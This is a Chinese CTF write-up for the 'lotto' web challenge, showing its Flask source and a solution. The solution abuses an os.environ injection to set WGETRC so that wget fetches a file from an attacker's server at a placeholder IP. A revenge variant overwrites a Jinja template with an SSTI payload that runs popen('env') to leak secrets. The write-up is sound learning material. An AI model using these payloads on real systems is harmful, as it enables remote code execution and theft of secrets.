说实话这道题挺有意思的(虽然我没玩过乐透

不过就是看得懂源码不知道该咋操作系列

一开始我们需要输入一个值n,这个值需要满足substr(md5(n),0,6)==xxxxxx(其中xxxxxx为6位数的hash值)我们可以写个脚本爆破一下(老python苦手了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
from string import ascii_letters, digits
from itertools import product

table = ascii_letters + digits


def crash():
hash = "xxxxxx"
for i in product(table, repeat=4):
t = hashlib.md5(('').join(i).encode()).hexdigest()
#print(t[:6])
if t[:6] == hash:
print(''.join(i))
break


if __name__ == '__main__':
crash()

当我们输入的n值正确时,我们会得到一个新的环境

image.png

源码的重点部分有2份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)

r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

在这里Content-Disposition(内容处置)响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地

在http场景,attachment(意味着消息体应该被下载到本地而不是在浏览器显示;大多数浏览器会呈现一个“保存为”的对话框,将 filename 的值预填为下载后的文件名,假如它存在的话)

具体详情可以看这个https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition

还有一份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from flask import Flask,render_template, request
import os

app = Flask(__name__, static_url_path='')

def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True

@app.route("/", methods=['GET', 'POST'])
def index():
return render_template('index.html')

@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''

if request.method == 'GET':
return render_template('lotto.html')

elif request.method == 'POST':
flag = os.getenv('flag')
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''
try:
lotto_key = lotto_key.upper()
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
os.system('wget --content-disposition -N lotto')

if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read()
else:
lotto_result = 'result'
if os.path.exists("/app/guess/forecast.txt"):
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'

if forecast == lotto_result:
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)

@app.route("/forecast", methods=['GET', 'POST'])
def forecast():

message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'

file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)

@app.route("/result", methods=['GET'])
def result():

if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''

return render_template('result.html', message=lotto_result)


if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)

作一些大概的分析

--Content-Dispostion指的是——按照Content-Disposition的标头来选择文件,在这里就是选择lotto_result.txt的意思(这是可以修改的,见后续

secrets.randbelow会生成随机数字显示在lotto界面的result中,而且会写到lotto_result.txt中,以供下一次**/result路径中的wget读取数据,/forecast上传的文件会保存到forecast.txt里,每一次post一个key/value**的数据的时候,都会更新一次随机数

lotto_keylotto_value应该是**/lotto界面中你输入的keyvalue**的值

image.png

你输入的lotto_key会经过一次过滤式的检查

image.png

若通过检查,则会使用os.environ[key] = value(这点该咋利用……),然后执行下面的try操作

image.png

/app/lotto_result.txt/app/guess/forecast.txt的二进制数据相等时就可以得到flag

这里的重点就是os.environ[key] = value,思路是设置一个环境变量来影响lotto_result.txt随机数的生成,不过到这里就卡壳了……(因为不知道该用啥环境变量

一位学长的思路是先上传名为forecast.txt的文件

同样的内容在服务器http://yourip:yourport/lotto_result.txt上也放一份

1
2
input=/app/guess/forecast.txt
reject=@yourip/lotto_result.txt

然后设置环境变量WGETRC,让wget读取这个文件做配置文件(原本wget读取的文件是lotto_result.txt,注意ip这里不用输端口)

意思是——wgetinput指向的文件读取url下载文件,然后下载http://reject=@yourip:yourport/lotto_result.txt

这样的话原来wget下载的lotto_result.txt会被替代成你自己服务器的lotto_result.txt,但是内容不一样,文件的名字仍然保留了

image.png

这个等效于--input-file=FILE即为从文件当中读取url并下载该url指定的文件,但是--input-file=FILE是不能使用的,可能和题目的本身环境有关

可以使用username@来下载文件(result=@指的是以’result=’的身份来访问站点的文件或者访问这个站点,但是这里只能用result=,也不知道为啥……太抽象了)

I__6D`_A_MXQ0762MB___`N.png

wget input读取**/app/guess/forecast.txt的内容(这个是你在/forecast上传的文件),把lotto_result.txt覆盖成和forecast.txt一模一样的这个内容(此时lotto_result.txt**这个文件依然存在)

image.png

在这种情况下forecastlotto_result的值就必然相等,就可以返回flag了

参考:https://www.gnu.org/software/wget/manual/html_node/Wgetrc-Commands.html

估计这道题有很多非预期的解,结果出题人来了个revenge版本2333

revenge版本就是不能回显flag,payload可以修改成这样

1
2
3
input=/app/guess/forecast.txt
reject=@yourip:yourport/exp.txt
output_document=/app/templates/index.html

在服务器上写exp.txt

1
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('env').read() }}

这里是用jinja模板实现RCE,不过目前还没学jinja模板,之后学了再说(

之后的步骤和上面的一致,最后需要刷新界面得到flag